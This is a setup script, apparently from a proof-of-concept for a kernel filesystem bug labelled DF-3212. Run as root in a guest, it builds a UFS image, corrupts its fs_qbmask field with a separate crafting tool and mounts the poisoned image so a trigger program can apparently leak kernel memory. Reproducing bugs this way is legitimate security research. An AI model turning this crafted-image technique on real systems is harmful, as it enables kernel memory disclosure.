#!/bin/sh
# setup.sh - DF-3212 root setup, runs INSIDE the guest as root.
# Creates the clean UFS image + 1MB zero file, unmounts, poisons fs_qbmask,
# remounts crafted RW (noatime: no inode writeback on the poisoned fs;
# noclusterr: ffs_blkatoff_ra uses plain bread so b_bufsize == fs_bsize).
set -u
cd /root

echo "=== user 1001 ==="
pw useradd -n u1001 -u 1001 -d /home/u1001 -m -s /bin/sh 2>/dev/null && echo created || echo exists

echo "=== BUILD ==="
cc -O -o craft_img craft_img.c || { echo CRAFT_BUILD_FAIL; exit 3; }
cc -O -o trigger trigger.c    || { echo TRIG_BUILD_FAIL;  exit 3; }
cp trigger /tmp/trigger && chmod 755 /tmp/trigger

echo "=== CREATE base UFS image (fs_bsize=8192, CLEAN geometry) ==="
rm -f base.img leak.img
truncate -s 16M base.img
vnconfig -u vn0 2>/dev/null || true
vnconfig -c vn0 base.img
newfs -b 8192 -f 1024 /dev/vn0 >/dev/null 2>&1
mkdir -p /mnt/test
chmod 755 /mnt/test
mount -t ufs /dev/vn0 /mnt/test || { echo MOUNT_BASE_FAIL; exit 3; }
dd if=/dev/zero of=/mnt/test/leak.bin bs=64k count=16 2>/dev/null
chmod 644 /mnt/test/leak.bin
ls -l /mnt/test/leak.bin
umount /mnt/test
vnconfig -u vn0

echo "=== PATCH fs_qbmask -> 0x7ffff ==="
./craft_img base.img leak.img 0x7ffff || exit 3

echo "=== MOUNT crafted image RW ==="
vnconfig -c vn0 leak.img
mount -o noatime,noclusterr -t ufs /dev/vn0 /mnt/test
echo "MOUNT_RC=$?"
mount | grep vn0 || true
echo "=== SETUP DONE ==="